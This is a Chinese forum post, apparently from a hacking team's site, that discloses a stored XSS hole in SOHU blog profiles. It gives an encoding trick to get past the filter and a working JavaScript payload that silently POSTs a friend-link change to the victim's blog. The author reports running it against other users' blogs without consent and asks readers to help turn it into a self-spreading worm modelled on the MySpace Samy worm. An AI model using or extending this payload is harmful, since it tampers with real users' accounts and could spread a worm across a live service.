信息来源:邪恶八进制信息安全团队(
www.eviloctal.com)
议题作者:茄子宝
偶然发现SOHU blog的跨站漏洞,问题出在个人档案里,img标签未过滤完全。
初步尝试直接img标签跨站失败
引用:
<IMG SRC="javascript:alert('XSS');">
HTML编码转成十进制成功跨站成功!
不知道大家听说过MySpace worm没有,有一个人在MySpace (一个交友网站)上写了一只利用Ajax技术来传播的蠕虫,当一个人登陆他的页面时就会改写自己页面的加一段字 “but most of all, samy is my hero”,同时也会把这个javascript加入到自己的页面在,就这样20小时内就传染了一百万个用户,最后导致MySpace关站维修。我google了下找到了关于MySpace worm整篇详细资料
http://namb.la/popular/tech.html
SOHU blog既然有XSS漏洞我想是不是可以根据这些写一个XSS worm,MySpace worm之所以成功是因为可以直接编辑CSS跨站,
SOHU这里的XSS代码长度限制了,个人档案只支持2000多个字符,我尝试着实现了自动加友情链接的功能,先抓了下加友情链接的包,然后写了个利用XMLHTTP组件POST数据的代码,把完成代码转成10进制的HTML编码插到img标签就可以了,主要代码如下:
引用:
javascript:document.body.insertAdjacentHTML("afterBegin"," <script defer>var r=new ActiveXObject('Microsoft.XMLHTTP');r.Open('post','/manage/link.do',false);r.setRequestHeader('Content-Type','application/x-www-form-urlencoded');r.send('m=add&title=s0n9&desc=s0n9&link=http%3A//s0n9.blog.sohu.com');</script\>")
找了几个MM进偶的BLOG测试,自动加友情链接成功 [s:58] ,不过遗憾的是XSS代码长度限制没有写出自动传播的代码,我的思路还是一样POST数据修改别人的个人档案加入XSS代码,最主要的原因还是XSS代码长度的问题,请教了冰狐大哥说是调用外部代码,由于我JS是才接触而已,实在写不出,剩下还希望牛人知道或者大家一起研究,把这个XSS wrom的思路完善。